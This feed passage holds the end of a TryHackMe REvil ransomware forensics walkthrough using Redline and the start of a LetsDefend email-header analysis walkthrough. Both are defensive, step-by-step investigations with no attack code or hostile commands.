data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/90af6c4ee59a6dbc6ee8e0469b2818cc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-the-attacker-created-a-folder-links-for-united-states-under-cusersjohn-colemanfavorites-and-left-a-file-there-provide-the-name-of-thefile&#34;&gt;Question 11: The attacker created a folder “Links for United States” under C:\Users\John Coleman\Favorites\ and left a file there. Provide the name of the file.&#xA;&lt;/h3&gt;&lt;p&gt;We have all the information we need from &lt;strong&gt;Question 11&lt;/strong&gt; itself to continue searching within the &lt;em&gt;Timeline&lt;/em&gt;. Let’s go ahead and add the file path from the question including the folder name.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d38f29057fd0f933a63d0a85a83f0920_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;862px&#34; data-flex-grow=&#34;359&#34; height=&#34;334&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/d38f29057fd0f933a63d0a85a83f0920_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/d38f29057fd0f933a63d0a85a83f0920_MD5_hu_1e59da70e3f30.png 800w, https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/d38f29057fd0f933a63d0a85a83f0920_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once add the information to the filter, the output leaves us with just a few choices. One file sticks out as it is not an English language word like we have seen on the rest of this system:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e7ae9214ea997a5b26bdb22477c869a6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;349px&#34; data-flex-grow=&#34;145&#34; height=&#34;549&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/e7ae9214ea997a5b26bdb22477c869a6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s confirm our suspicion and check our findings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7c7254799a27e6d01baf215b8a73d378_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2865px&#34; data-flex-grow=&#34;1194&#34; height=&#34;67&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/7c7254799a27e6d01baf215b8a73d378_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-there-is-a-hidden-file-that-was-created-on-the-users-desktop-that-has-0-bytes-provide-the-name-of-the-hiddenfile&#34;&gt;Question 12: There is a hidden file that was created on the user’s Desktop that has 0 bytes. Provide the name of the hidden file.&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 12&lt;/strong&gt;, we’ll pivot back to the &lt;em&gt;File System&lt;/em&gt; tab and filter only John’s Desktop again.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;582592811ac6e774535056632f9fe63d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;458px&#34; data-flex-grow=&#34;190&#34; height=&#34;419&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/582592811ac6e774535056632f9fe63d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we look at the &lt;em&gt;Size&lt;/em&gt; column, we can easily spot the hidden file we are looking for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;cdf237a1e23bf4fc798355613faca6d3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/cdf237a1e23bf4fc798355613faca6d3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-13-the-user-downloaded-a-decryptor-hoping-to-decrypt-all-the-files-but-he-failed-provide-the-md5-hash-of-the-decryptor-file&#34;&gt;Question 13: The user downloaded a decryptor hoping to decrypt all the files, but he failed. Provide the MD5 hash of the decryptor file.&#xA;&lt;/h3&gt;&lt;p&gt;Awesome, since we are already filtering the &lt;em&gt;Desktop&lt;/em&gt; from the &lt;em&gt;File System tab,&lt;/em&gt; you may have also already noticed a conspicuous decryptor executable?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2fff0726f3e9d43612fd888d2c77cd23_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;475px&#34; data-flex-grow=&#34;198&#34; height=&#34;404&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/2fff0726f3e9d43612fd888d2c77cd23_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s double-click the file to get the full detailed information, including the &lt;em&gt;file hashes.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c99fd2e4fe1527edf90e5b8d7f75575a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;209px&#34; data-flex-grow=&#34;87&#34; height=&#34;916&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/c99fd2e4fe1527edf90e5b8d7f75575a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s copy the &lt;em&gt;MD5 Hash&lt;/em&gt; and submit the answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f5be78e655e2f3e281ab56712bfd4d9f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/f5be78e655e2f3e281ab56712bfd4d9f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-14-in-the-ransomware-note-the-attacker-provided-a-url-that-is-accessible-through-the-normal-browser-in-order-to-decrypt-one-of-the-encrypted-files-for-free-the-user-attempted-to-visit-it-provide-the-full-urlpath&#34;&gt;Question 14: In the ransomware note, the attacker provided a URL that is accessible through the normal browser in order to decrypt one of the encrypted files for free. The user attempted to visit it. Provide the full URL path.&#xA;&lt;/h3&gt;&lt;p&gt;I don’t see a straightforward way to extract an artifact from the &lt;em&gt;Redline&lt;/em&gt; file to simply read the &lt;em&gt;URL&lt;/em&gt; from the ransom note, so let’s get creative and utilize the &lt;em&gt;Browser URL History tab&lt;/em&gt; and sift through the logs.&lt;/p&gt;&#xA;&lt;p&gt;Since we are looking for a website used for decryption let’s try entering the keyword &lt;em&gt;decrypt&lt;/em&gt; into the search box and see what we find?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;549ddd4cfef78d8b1dcb813e0716a544_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;247px&#34; data-flex-grow=&#34;103&#34; height=&#34;776&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/549ddd4cfef78d8b1dcb813e0716a544_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, it looks like we found a &lt;em&gt;URL&lt;/em&gt; in the list with our search! While it isn’t always this easy to correlate a &lt;em&gt;URL&lt;/em&gt; with the other malicious activity, we’ll take this one as a win and move on to the final question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;66f4c79f43d7f1d72102ba6b914e4a23_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/66f4c79f43d7f1d72102ba6b914e4a23_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-15-what-are-some-three-names-associated-with-the-malware-which-infected-this-host-enter-the-names-in-alphabetical-order&#34;&gt;Question 15: What are some three names associated with the malware which infected this host? (enter the names in alphabetical order)&#xA;&lt;/h3&gt;&lt;p&gt;With the indicators discovered from our investigation so far, we can be pretty confident that we know which ransomware affected the victim. But, the &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; intelligence from &lt;strong&gt;Question 6&lt;/strong&gt; and the &lt;a class=&#34;link&#34; href=&#34;https://www.secureworks.com/research/revil-sodinokibi-ransomware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Secureworks&lt;/em&gt;&lt;/a&gt; report from &lt;strong&gt;Question 9&lt;/strong&gt; only give us two names for this malware. So, we will need to collect more intelligence. For this, let’s turn to the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; knowledge base and see what additional information is available for this ransomware — we’ll input one of the names that we know already:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0496/&#34;  title=&#34;https://attack.mitre.org/software/S0496/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;REvil&lt;/strong&gt;&#xA;_REvil is a ransomware family that has been linked to the GOLD SOUTHFIELD group and operated as ransomware-as-a-service…_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0496/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4cf0badf7e4d53587670b9cb3a7914c0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;640px&#34; data-flex-grow=&#34;266&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/4cf0badf7e4d53587670b9cb3a7914c0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go, we have some associated software descriptions that should help us answer the last question and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;13663cd8290fdbd83e5e1dfd13479ff6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-revil-corp-challenge-walkthrough/13663cd8290fdbd83e5e1dfd13479ff6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Whew! We set to solve this ransomware incident using &lt;strong&gt;&lt;em&gt;Redline&lt;/em&gt;&lt;/strong&gt; and I think we now have enough information to start the eradication and recovery phase for John! Great job!&lt;/p&gt;&#xA;&lt;p&gt;Thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for hosting another engaging challenge and building out such a huge catalog of free rooms for the community. This room was an excellent challenge to reinforce the concepts from the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/btredlinejoxr3d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;Redline&lt;/em&gt; room&lt;/strong&gt;&lt;/a&gt; and provides enough hands-on time to understand it’s value in the DFIR process. It never hurts to have some more experience with a new tool to keep in your kit, after all!&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along. I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;FireEye Redline:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://fireeye.market/apps/211364&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://fireeye.market/apps/211364&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TryHackMe REvil Corp Room:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/revilcorp&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/revilcorp&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Spearphishing Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1566/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1566/002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Malvertising:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1583/008/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1583/008/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Supply Chain Compromise:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1195/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1195/002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Secureworks:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.secureworks.com/research/revil-sodinokibi-ransomware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.secureworks.com/research/revil-sodinokibi-ransomware&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — REvil:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0496/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0496/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Email Analysis Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/</link>
            <pubDate>Sun, 31 Mar 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/fe2be9e74d1be353e4c566000033eaa1_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Email Analysis Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--email-analysis-challenge-walkthrough&#34;&gt;LetsDefend — Email Analysis Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;email-header-and-attachment-analysis&#34;&gt;Email Header and Attachment Analysis&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;322px&#34; data-flex-grow=&#34;134&#34; height=&#34;302&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/fe2be9e74d1be353e4c566000033eaa1_MD5.png&#34; width=&#34;406&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/email-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/email-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Hello — Thanks for joining me for this weekly walkthrough!&lt;/p&gt;&#xA;&lt;p&gt;This week I am going to tackle the medium difficulty &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/email-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Email Analysis&lt;/strong&gt;&lt;/a&gt; blue team challenge over on &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This one should be good practice for some manual email header and attachment analysis. While there are many solutions that perform automatic header analysis and sandbox detonation of attachments before delivery, it&amp;rsquo;s always good to practice your manual analysis skills especially if you don&amp;rsquo;t have these enterprise tools available to you.&lt;/p&gt;&#xA;&lt;p&gt;As always, this write up will serve as a learning notebook for me and a &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; challenge walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/email-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/email-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You recently received an email from someone trying to impersonate a company, your job is to analyze the email to see if it is suspicious.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;First thing&amp;rsquo;s first — It&amp;rsquo;s always a good idea when downloading lab/challenge files from &lt;em&gt;LetsDefend (or any lab/challenge/range)&lt;/em&gt; to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine — we are working with malicious files, after all!&lt;/p&gt;&#xA;&lt;p&gt;For this challenge I am using &lt;em&gt;REMnux,&lt;/em&gt; a &lt;em&gt;Linux&lt;/em&gt; distro built for malware analysis so we can leverage the available built-in tools to help us with the analysis.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I&amp;rsquo;m going to skip a step-by-step setup guide of &lt;em&gt;REMnux&lt;/em&gt;. Instead, if you want to set up your own &lt;em&gt;REMnux&lt;/em&gt; environment please follow the directions provided by &lt;em&gt;REMnux&lt;/em&gt; directly. I opted for the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  title=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into&amp;hellip;_docs.remnux.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3038px&#34; data-flex-grow=&#34;1266&#34; height=&#34;56&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/161fea969cb5f85ae522d0567d7d4c45_MD5.png&#34; width=&#34;709&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-sending-emailaddress&#34;&gt;Question 1: What is the sending email address?&#xA;&lt;/h3&gt;&lt;p&gt;Okay! We have few ways to approach this challenge. Since the file we are doing analysis on is a &lt;strong&gt;.eml&lt;/strong&gt; file which contains the message header, message body, and attachments, we might simply open it in a plain text editor to view the header information. But, for this challenge, let&amp;rsquo;s jump into &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;CyberChef&lt;/em&gt;&lt;/a&gt; to view the file in case we need to perform any other operations later. We can use the &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;online version&lt;/a&gt; of the tool or the version installed in &lt;em&gt;REMnux&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now, we can simply drop the extracted &lt;strong&gt;.eml&lt;/strong&gt; file into the &lt;em&gt;CyberChef&lt;/em&gt; input window. Then, in the output window we should have all the information that we need to answer the first five questions!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;514px&#34; data-flex-grow=&#34;214&#34; height=&#34;560&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/ec9aad49499163a7cf9355824ee67b79_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/ec9aad49499163a7cf9355824ee67b79_MD5_hu_f1332763447976e2.png 800w, https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/ec9aad49499163a7cf9355824ee67b79_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;.eml in, .eml out&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Question 1&lt;/strong&gt;, we want to look at the &lt;strong&gt;From&lt;/strong&gt; field which contains the sender&amp;rsquo;s address information. The challenge states that this email is trying to impersonate a company, right? It&amp;rsquo;s important to note that in real-world analysis this field can be (and often is) spoofed by the bad guys for phishing or impersonation attempts.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/85589d649fb42957429f11cb5aaef06c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For this one, let&amp;rsquo;s submit the sender&amp;rsquo;s address as we see it in the &lt;strong&gt;From&lt;/strong&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/0c01167e263a64d0fba609a54b81c048_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-email-address-of-the-recipient&#34;&gt;Question 2: What is the email address of the recipient?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re going to do the same thing we did for &lt;strong&gt;Question 1&lt;/strong&gt;; except this time, we&amp;rsquo;ll look at the &lt;strong&gt;To&lt;/strong&gt; field which contains the recipient&amp;rsquo;s email address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/b332220c3eadbbf8f61f9c89b7a0655f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/db3c2f1e7ff7df05a5841088213a6256_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-subject-line-of-theemail&#34;&gt;Question 3: What is the subject line of the email?&#xA;&lt;/h3&gt;&lt;p&gt;This time let&amp;rsquo;s look at the &lt;strong&gt;Subject&lt;/strong&gt; field which is just the subject line that the sender entered for the email.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/e86fe09135b212e4460099d1ed9223f7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/33051f29015fc05cc457f1bbf04a7b1a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 